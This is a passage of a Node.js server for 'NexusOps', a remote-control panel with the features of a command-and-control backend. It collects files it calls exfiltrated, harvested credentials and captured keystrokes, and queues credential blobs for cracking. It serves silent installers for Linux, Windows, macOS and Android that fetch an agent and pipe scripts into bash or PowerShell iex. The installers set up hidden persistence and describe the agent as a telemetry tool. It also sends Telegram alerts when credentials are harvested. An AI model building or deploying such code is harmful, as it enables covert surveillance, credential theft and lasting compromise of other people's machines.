|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(node.id)) {
|
|
commandQueues.set(node.id, []);
|
|
}
|
|
commandQueues.get(node.id).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId: node.id,
|
|
hostname: node.hostname,
|
|
command: `[BULK] ${command || actionName}`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
queuedIds.push(commandId);
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
|
|
});
|
|
|
|
app.delete('/api/nodes/:id', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
nodes.delete(nodeId);
|
|
commandQueues.delete(nodeId);
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Kill Switch — shutdown all agents on all nodes ──
|
|
app.post('/api/nodes/killswitch', (req, res) => {
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
if (onlineNodes.length === 0) {
|
|
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
|
|
}
|
|
onlineNodes.forEach(node => {
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
commandQueues.get(node.id).push({
|
|
id: `kill-${Date.now()}`,
|
|
actionType: 'kill_agent',
|
|
payload: {},
|
|
command: 'kill_agent',
|
|
createdAt: Date.now()
|
|
});
|
|
});
|
|
broadcastState();
|
|
postWebhook('🔴 NexusOps KILL SWITCH executed — all agents shutting down');
|
|
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
|
|
});
|
|
|
|
// ── Export Input Capture as CSV ──
|
|
app.get('/api/inputs/csv', (req, res) => {
|
|
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
|
|
inputDataStore.slice(-500).forEach(e => {
|
|
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
|
|
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// ── Ping node — latency check ──
|
|
app.post('/api/nodes/:id/ping', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
|
const cmdId = `ping-${Date.now()}`;
|
|
commandQueues.get(nodeId).push({
|
|
id: cmdId,
|
|
actionType: 'ping_check',
|
|
payload: { timestamp: Date.now() },
|
|
command: 'ping_check',
|
|
createdAt: Date.now()
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, commandId: cmdId });
|
|
});
|
|
|
|
// ── File Exfiltration — agent sends file back ──
|
|
app.post('/api/agent/file-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
|
|
else entry.output = `[FILE ERROR] ${error}`;
|
|
}
|
|
if (!error && data) {
|
|
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
|
|
exfiltratedFiles.set(fileId, {
|
|
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
|
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
|
});
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Download exfiltrated file ──
|
|
app.get('/api/files/:id', (req, res) => {
|
|
const file = exfiltratedFiles.get(req.params.id);
|
|
if (!file) return res.status(404).json({ error: 'File not found' });
|
|
const buf = Buffer.from(file.data, 'base64');
|
|
res.setHeader('Content-Type', file.mime);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
|
|
res.send(buf);
|
|
});
|
|
|
|
// ── List exfiltrated files ──
|
|
app.get('/api/files', (req, res) => {
|
|
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
|
|
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
|
|
mime: f.mime, size: f.size, timestamp: f.timestamp
|
|
})));
|
|
});
|
|
|
|
// ── Credential Harvest Result ──
|
|
app.post('/api/agent/harvest-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, credentials, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
|
|
}
|
|
if (credentials && Array.isArray(credentials)) {
|
|
credentials.forEach(c => {
|
|
harvestedCredentials.push({
|
|
nodeId, hostname, type: c.type || 'unknown', data: c.data,
|
|
timestamp: Date.now()
|
|
});
|
|
});
|
|
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
|
|
}
|
|
broadcastState();
|
|
if (credentials && credentials.length) postWebhook(`💀 NexusOps: ${credentials.length} credentials harvested from ${hostname}`);
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── List harvested credentials ──
|
|
app.get('/api/credentials', (req, res) => {
|
|
const { nodeId } = req.query;
|
|
let filtered = harvestedCredentials;
|
|
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
|
|
res.json(filtered.slice(-200));
|
|
});
|
|
|
|
app.get('/install.sh', (req, res) => {
|
|
const persist = req.query.persist !== '0';
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# Network Node Agent One-Liner Installer for Linux
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Network Node Agent Installer "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
mkdir -p "$INSTALL_DIR"
|
|
|
|
echo "[1/3] Downloading agent script..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
${persist ? `echo "[2/4] Configuring systemd background daemon..."
|
|
cat << EOF > "$SERVICE_FILE"
|
|
[Unit]
|
|
Description=NexusOps Node Telemetry & Management Agent
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
|
Restart=always
|
|
RestartSec=5
|
|
User=root
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
EOF` : `echo "[2/4] Persistence disabled — agent will run once"`}
|
|
|
|
echo "[3/4] Installing pynput for keystroke/click capture..."
|
|
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
${persist ? `echo "[4/4] Enabling & Starting Agent Service..."
|
|
systemctl daemon-reload
|
|
systemctl enable network-agent
|
|
systemctl restart network-agent` : `echo "[4/4] Launching agent (no persistence)..."
|
|
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &`}
|
|
|
|
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install.ps1', (req, res) => {
|
|
const persist = req.query.persist !== '0';
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `# Network Agent PowerShell Installer for Windows
|
|
$SERVER_URL = "${serverUrl}"
|
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
|
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
|
|
|
|
if (!(Test-Path $INSTALL_DIR)) {
|
|
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
|
|
}
|
|
|
|
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
|
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
|
|
|
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
|
${persist ? `schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $INSTALL_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null` : '# persistence disabled'}
|
|
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
|
|
|
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install-mac.sh', (req, res) => {
|
|
const persist = req.query.persist !== '0';
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# macOS Node Agent Installer — launchd background daemon
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Node Agent Installer (macOS) "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
echo "[1/4] Creating installation directory..."
|
|
sudo mkdir -p "$INSTALL_DIR"
|
|
sudo chown "$(whoami)" "$INSTALL_DIR"
|
|
|
|
echo "[2/4] Downloading cross-platform Python agent..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[3/4] Installing pynput for input capture..."
|
|
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
${persist ? `echo "[4/4] Configuring launchd background daemon..."
|
|
mkdir -p "$HOME/Library/LaunchAgents"` : `echo "[4/4] Persistence disabled — launching agent once"`}
|
|
cat << EOF > "$PLIST_FILE"
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key>
|
|
<string>com.nexusops.agent</string>
|
|
<key>ProgramArguments</key>
|
|
<array>
|
|
<string>/usr/bin/python3</string>
|
|
<string>-u</string>
|
|
<string>$INSTALL_DIR/agent.py</string>
|
|
<string>--server</string>
|
|
<string>$SERVER_URL</string>
|
|
</array>
|
|
<key>RunAtLoad</key>
|
|
<true/>
|
|
<key>KeepAlive</key>
|
|
<true/>
|
|
<key>StandardOutPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
<key>StandardErrorPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
|
${persist ? `launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
|
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
|
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
|
|
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
|
echo " To stop: launchctl unload $PLIST_FILE"` : `nohup "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
|
|
echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`}
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
// ── Android (Termux) installer ──
|
|
app.get('/install-android.sh', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const persist = req.query.persist !== '0';
|
|
const script = `#!/data/data/com.termux/files/usr/bin/bash
|
|
# NexusOps Android (Termux) Agent Installer
|
|
set -e
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="$HOME/.nexus-agent"
|
|
|
|
echo "==========================================="
|
|
echo " NexusOps Agent Installer (Android) "
|
|
echo "==========================================="
|
|
|
|
echo "[1/4] Installing requirements (python, openssh)..."
|
|
pkg install -y python openssh 2>/dev/null || apt install -y python openssh 2>/dev/null || echo "[!] some packages failed — continuing"
|
|
|
|
echo "[2/4] Creating install dir..."
|
|
mkdir -p "$INSTALL_DIR"
|
|
|
|
echo "[3/4] Downloading agent..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[4/4] Starting agent..."
|
|
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
|
|
${persist ? `
|
|
# Persistence: bashrc hook (+ termux-boot if present)
|
|
HOOK='
|
|
# nexus-agent
|
|
(pgrep -f agent.py || python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent &>/dev/null &)
|
|
'
|
|
grep -q nexus-agent ~/.bashrc 2>/dev/null || echo "$HOOK" >> ~/.bashrc
|
|
if [ -d ~/termux-boot ]; then
|
|
cat > ~/termux-boot/nexus-agent.sh <<BOOT
|
|
#!/data/data/com.termux/files/usr/bin/sh
|
|
python3 $HOME/.nexus-agent/agent.py --server \${SERVER_URL} --silent &
|
|
BOOT
|
|
chmod +x ~/termux-boot/nexus-agent.sh
|
|
echo "[+] Termux:Boot script installed"
|
|
fi
|
|
echo "[+] Persistence installed (bashrc${persist})"` : `echo "[+] Persistence disabled — agent runs once"`}
|
|
|
|
echo "✅ Android agent installed! It will appear on the dashboard in seconds."
|
|
echo " Battery optimization note: disable it for Termux so Android doesn't kill the agent."
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
|
app.get('/install', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const silent = req.query.silent !== '0'; // silent by default
|
|
const persist = req.query.persist !== '0';
|
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
|
const script = `#!/bin/bash
|
|
# NexusOps Universal Auto-Installer — one command, any OS
|
|
SERVER_URL="${serverUrl}"
|
|
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
|
|
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
|
Linux)
|
|
if [ -n "$PREFIX" ] && echo "$PREFIX" | grep -q com.termux; then
|
|
echo "[*] Android/Termux detected — deploying Termux agent"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-android.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
|
|
else
|
|
echo "[*] Linux detected — deploying via systemd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
|
fi
|
|
;;
|
|
echo "[*] Linux detected — deploying via systemd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
Darwin)
|
|
echo "[*] macOS detected — deploying via launchd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
|
|
;;
|
|
CYGWIN*|MINGW*|MSYS*|Windows)
|
|
echo "[*] Windows detected — deploying via PowerShell"
|
|
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1?persist=${persist}' | iex" ${quiet} &
|
|
;;
|
|
*)
|
|
echo "[!] Unknown OS — trying Linux installer as fallback"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
esac
|
|
|
|
echo "[*] Agent deployment initiated — it will register within 10 seconds"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/agent.py', (req, res) => {
|
|
try {
|
|
const src = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8');
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(AGENT_TOKEN ? src.split('__AGENT_TOKEN__').join(AGENT_TOKEN) : src);
|
|
} catch (e) {
|
|
res.status(500).send('agent unavailable');
|
|
}
|
|
});
|
|
|
|
|
|
// ── Update all outdated agents ──
|
|
let CURRENT_AGENT_VERSION = 'unknown';
|
|
try {
|
|
const m = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8').match(/AGENT_VERSION = "([^"]+)"/);
|
|
if (m) CURRENT_AGENT_VERSION = m[1];
|
|
} catch (e) {}
|
|
app.get('/api/agentversion', (req, res) => res.json({ current: CURRENT_AGENT_VERSION }));
|
|
app.post('/api/nodes/update-all', (req, res) => {
|
|
let queued = 0; const targets = [];
|
|
for (const [id, n] of nodes) {
|
|
if (n.status !== 'online') continue;
|
|
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
|
|
commandQueues.get(id).push({
|
|
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
|
|
actionType: 'update_agent', payload: { url: (PUBLIC_URL || `http://${SERVER_IP}:${PORT}`) + '/agent.py' }, command: 'update_agent',
|
|
status: 'queued', queuedAt: Date.now()
|
|
});
|
|
queued++; targets.push(id);
|
|
}
|
|
broadcastState();
|
|
res.json({ queued, current: CURRENT_AGENT_VERSION, targets });
|
|
});
|
|
|
|
// ── Completeness additions 2026-09-29 ──
|
|
app.get('/api/agenttoken', (req, res) => {
|
|
res.json({ token: AGENT_TOKEN || '' });
|
|
});
|
|
app.get('/api/export/all', (req, res) => {
|
|
try {
|
|
const stamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
const out = `/tmp/nexusops-export-${stamp}.tar.gz`;
|
|
require('child_process').execSync(`tar czf ${out} -C ${DATA_DIR} .`);
|
|
res.download(out, `nexusops-full-export-${stamp}.tar.gz`, () => {
|
|
try { fs.unlinkSync(out); } catch (e) {}
|
|
});
|
|
} catch (e) {
|
|
res.status(500).json({ error: 'export failed: ' + e.message });
|
|
}
|
|
});
|
|
|
|
// ── v2.4.0 additions ──
|
|
const LLM_URL = process.env.NEXUS_LLM_URL || 'http://10.30.20.29:11434';
|
|
const LLM_MODEL = process.env.NEXUS_LLM_MODEL || 'qwen3.8fast:latest';
|
|
const DECRYPT_QUEUE_DIR = '/opt/nexus-decrypt-queue';
|
|
try { fs.mkdirSync(DECRYPT_QUEUE_DIR, { recursive: true }); } catch (e) {}
|
|
|
|
// credential decryption queue (for GPU/hashing workers, e.g. hashcat on nightmare)
|
|
app.post('/api/decrypt/queue', (req, res) => {
|
|
if (AUTH_TOKEN && !workerAuthOk(req) && req.headers.authorization !== 'Bearer ' + AUTH_TOKEN) return res.status(401).json({ error: 'unauthorized' });
|
|
const { nodeId, kind, blob_b64, meta } = req.body || {};
|
|
if (!nodeId || !blob_b64) return res.status(400).json({ error: 'nodeId and blob_b64 required' });
|
|
const f = path.join(DECRYPT_QUEUE_DIR, `${Date.now()}-${nodeId}-${kind || 'blob'}.b64`);
|
|
fs.writeFileSync(f, JSON.stringify({ nodeId, kind, meta: meta || {}, blob_b64, at: Date.now() }));
|
|
res.json({ success: true, file: path.basename(f) });
|
|
});
|
|
function workerAuthOk(req) {
|
|
return AGENT_TOKEN && (req.headers['x-agent-token'] === AGENT_TOKEN);
|
|
}
|
|
app.get('/api/decrypt/queue', (req, res) => {
|
|
if (AUTH_TOKEN && !workerAuthOk(req) && req.headers.authorization !== 'Bearer ' + AUTH_TOKEN) return res.status(401).json({ error: 'unauthorized' });
|
|
try {
|
|
res.json({ jobs: fs.readdirSync(DECRYPT_QUEUE_DIR).map(f => {
|
|
try { return JSON.parse(fs.readFileSync(path.join(DECRYPT_QUEUE_DIR, f), 'utf8')); } catch (e) { return null; }
|
|
}).filter(Boolean) });
|
|
} catch (e) { res.json({ jobs: [] }); }
|
|
});
|
|
|
|
// LLM analyst brief per node (local Ollama on nightmare)
|
|
app.get('/api/nodes/:id/brief', async (req, res) => {
|
|
const n = nodes.get(req.params.id);
|
|
if (!n) return res.status(404).json({ error: 'node not found' });
|
|
const myFiles = Array.from(exfiltratedFiles.values()).filter(f => f.nodeId === n.id).slice(-20)
|
|
.map(f => f.filename).join(', ') || 'none';
|
|
const myCreds = harvestedCredentials.filter(c => c.nodeId === n.id).slice(-30)
|
|
.map(c => c.type).join(', ') || 'none';
|
|
const prompt = `You are a security operations analyst. In under 120 words, summarize this machine's significance and any risk based ONLY on the data given. Machine: ${n.hostname} (${n.osName}, ${n.platform}, IP ${n.ip}). Uptime: ${Math.round((n.uptime || 0) / 3600)}h. Files exfiltrated: ${myFiles}. Credential types harvested: ${myCreds}. Answer plain text, no markdown.`;
|
|
try {
|
|
const http = require('http');
|
|
const body = JSON.stringify({ model: LLM_MODEL, prompt, stream: false, options: { num_predict: 200 } });
|
|
const req2 = http.request(`${LLM_URL}/api/generate`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 90000 }, r2 => {
|
|
let d = '';
|
|
r2.on('data', c => d += c);
|
|
r2.on('end', () => {
|
|
try { res.json({ brief: JSON.parse(d).response || 'no response' }); }
|
|
catch (e) { res.json({ brief: 'llm parse error' }); }
|
|
});
|
|
});
|
|
req2.on('error', () => res.status(502).json({ error: 'llm unreachable' }));
|
|
req2.write(body); req2.end();
|
|
} catch (e) {
|
|
res.status(502).json({ error: 'llm unreachable' });
|
|
}
|
|
});
|
|
|
|
server.listen(PORT, '0.0.0.0', () => {
|
|
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
|
|
console.log(`=======================================================`);
|
|
console.log(`🚀 NexusOps Central Node Control Server is running!`);
|
|
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
|
|
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
|
|
if (PUBLIC_URL) {
|
|
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
|
|
}
|
|
console.log(`=======================================================`);
|
|
});
|
|
// ═══════════════════════════════════════════════════════════════════
|
|
// NEXUSOPS v2 ADDITIONS — live console, schedules, groups, alerts
|
|
// Patched 2026-09-23. Original server.js untouched below this block's
|
|
// insertion point; overrides registered here take effect after load.
|
|
// ═══════════════════════════════════════════════════════════════════
|
|
|
|
// ── Live console state ──
|
|
const liveConsoles = new Map(); // nodeId → { operatorCount, lastActivity }
|
|
const consoleBuffers = new Map(); // nodeId → [{ ts, text }] recent output lines
|
|
|
|
// ── Scheduled tasks ──
|
|
const schedules = []; // { id, name, command, tag, intervalSec, nextRun, lastRun, history: [], enabled }
|
|
const SCHEDULES_FILE = path.join(DATA_DIR, 'schedules.json');
|
|
const ALERTS_FILE = path.join(DATA_DIR, 'alerts.json');
|
|
const alertLog = [];
|
|
|
|
function loadSchedules() {
|
|
try {
|
|
const d = JSON.parse(fs.readFileSync(SCHEDULES_FILE, 'utf8') || '[]');
|
|
schedules.push(...d);
|
|
} catch (e) { /* first run */ }
|
|
}
|
|
function saveSchedules() {
|
|
_atomicWrite(SCHEDULES_FILE, JSON.stringify(schedules, null, 2));
|
|
}
|
|
function saveAlerts() {
|
|
_atomicWrite(ALERTS_FILE, JSON.stringify(alertLog.slice(-200), null, 2));
|
|
}
|
|
loadSchedules();
|
|
|
|
// ── Dead-node alerts ──
|
|
const ALERT_WEBHOOK = process.env.NEXUS_ALERT_WEBHOOK || '';
|
|
const TG_TOKEN = process.env.NEXUS_TG_TOKEN || '';
|
|
const TG_CHAT = process.env.NEXUS_TG_CHAT || '8020668334';
|
|
function postWebhook(text) {
|
|
// CRITICAL-only: kill switch, new node, creds harvested, node offline
|
|
if (TG_TOKEN && TG_CHAT) {
|
|
try {
|
|
const req = require('https');
|
|
const data = JSON.stringify({ chat_id: TG_CHAT, text: text });
|
|
const r = req.request({ hostname: 'api.telegram.org', path: `/bot${TG_TOKEN}/sendMessage`, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } }, () => {});
|
|
r.on('error', () => {});
|
|
r.write(data); r.end();
|
|
} catch (e) {}
|
|
}
|
|
if (ALERT_WEBHOOK) {
|
|
try {
|
|
const req = require('http');
|
|
const url = new URL(ALERT_WEBHOOK);
|
|
const data = JSON.stringify({ text: text });
|
|
const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {});
|
|
r.on('error', () => {});
|
|
r.write(data); r.end();
|
|
} catch (e) { /* silent */ }
|
|
}
|
|
}
|
|
const OFFLINE_ALERT_AFTER_MS = 5 * 60 * 1000; // alert if dark > 5 min
|
|
const alertedOffline = new Set();
|
|
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let changed = false;
|
|
nodes.forEach((node, id) => {
|
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
|
node.status = 'offline';
|
|
changed = true;
|
|
}
|
|
if (node.status === 'offline' && now - node.lastHeartbeat > OFFLINE_ALERT_AFTER_MS && !alertedOffline.has(id)) {
|
|
alertedOffline.add(id);
|
|
const entry = {
|
|
ts: now, nodeId: id, hostname: node.hostname,
|
|
ip: node.ip, type: 'node_offline',
|
|
message: `${node.hostname} (${node.ip}) offline > ${OFFLINE_ALERT_AFTER_MS / 60000} min`
|
|
};
|
|
alertLog.push(entry);
|
|
saveAlerts();
|
|
broadcastState();
|
|
postWebhook(`⚠️ NexusOps: ${entry.message}`);
|
|
}
|
|
// re-arm when node comes back
|
|
if (node.status === 'online' && alertedOffline.has(id)) {
|
|
alertedOffline.delete(id);
|
|
}
|
|
});
|
|
}, 5000);
|
|
|
|
// ── Schedule runner (every 10s tick) ──
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let ran = false;
|
|
schedules.forEach(s => {
|
|
if (!s.enabled) return;
|
|
if (now >= s.nextRun) {
|
|
s.lastRun = now;
|
|
s.nextRun = now + s.intervalSec * 1000;
|
|
// target nodes: by tag group, or all online
|
|
const targets = Array.from(nodes.values()).filter(n =>
|
|
n.status === 'online' && (!s.tag || s.tag === 'all' || (n.tags || []).includes(s.tag)));
|
|
targets.forEach(node => {
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
const commandId = `sched-${s.id}-${now}`;
|
|
commandQueues.get(node.id).push({
|
|
id: commandId,
|
|
actionType: 'raw_command',
|
|
payload: { command: s.command },
|
|
command: s.command,
|
|
createdAt: now
|
|
});
|
|
commandHistory.push({
|
|
id: commandId, nodeId: node.id, hostname: node.hostname,
|
|
command: `[SCHED:${s.name}] ${s.command}`,
|
|
status: 'queued', createdAt: now, output: ''
|
|
});
|
|
});
|
|
s.history.push({ ts: now, targets: targets.length });
|
|
if (s.history.length > 50) s.history.shift();
|
|
ran = true;
|
|
}
|
|
});
|
|
if (ran) { saveSchedules(); broadcastState(); }
|
|
}, 10000);
|
|
|
|
// ═══ API: Schedules ═══
|
|
app.get('/api/schedules', (req, res) => res.json({ schedules }));
|
|
|
|
app.post('/api/schedules', (req, res) => {
|
|
const { name, command, tag, intervalSec } = req.body;
|
|
if (!command || !intervalSec || intervalSec < 15) {
|
|
return res.status(400).json({ error: 'command and intervalSec (>=15) required' });
|
|
}
|
|
const s = {
|
|
id: `sch-${Date.now()}`,
|
|
name: name || command.slice(0, 30),
|
|
command, tag: tag || 'all',
|
|
intervalSec: parseInt(intervalSec, 10),
|
|
nextRun: Date.now() + parseInt(intervalSec, 10) * 1000,
|
|
lastRun: 0, enabled: true, history: []
|
|
};
|
|
schedules.push(s);
|
|
saveSchedules(); broadcastState();
|
|
res.json({ success: true, schedule: s });
|
|
});
|
|
|
|
app.post('/api/schedules/:id/toggle', (req, res) => {
|
|
const s = schedules.find(x => x.id === req.params.id);
|
|
if (!s) return res.status(404).json({ error: 'not found' });
|
|
s.enabled = !s.enabled;
|
|
if (s.enabled) s.nextRun = Date.now() + s.intervalSec * 1000;
|
|
saveSchedules(); broadcastState();
|
|
res.json({ success: true, enabled: s.enabled });
|
|
});
|
|
|
|
app.delete('/api/schedules/:id', (req, res) => {
|
|
const i = schedules.findIndex(x => x.id === req.params.id);
|
|
if (i === -1) return res.status(404).json({ error: 'not found' });
|
|
schedules.splice(i, 1);
|
|
saveSchedules(); broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ═══ API: Alerts ═══
|
|
app.get('/api/alerts', (req, res) => res.json({ alerts: alertLog.slice(-100) }));
|
